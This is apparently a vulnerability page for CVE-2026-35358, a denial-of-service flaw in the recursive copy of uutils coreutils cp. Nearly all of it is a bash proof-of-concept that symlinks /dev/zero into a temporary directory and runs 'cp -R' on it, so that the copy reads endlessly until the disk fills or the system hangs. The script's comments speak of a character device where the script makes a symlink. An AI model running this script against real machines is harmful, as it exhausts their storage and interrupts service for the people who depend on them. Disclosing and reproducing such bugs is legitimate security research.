CVE-2026-35358 uutils coreutils cp命令递归复制DoS漏洞

#!/bin/bash # PoC for CVE-2026-35358 # This script demonstrates the denial of service vulnerability # by attempting to copy a directory containing a character device. # Create a test directory with a symbolic link to /dev/zero mkdir -p /tmp/poc_dir ln -s /dev/zero /tmp/poc_dir/infinite_device # Create a destination directory mkdir -p /tmp/poc_dest # Execute the recursive copy using the vulnerable uutils cp # This will attempt to read infinitely from /dev/zero, filling the disk or hanging. # Ensure 'cp' is the vulnerable uutils binary. cp -R /tmp/poc_dir /tmp/poc_dest echo "If the system hangs or disk fills up, the PoC is successful."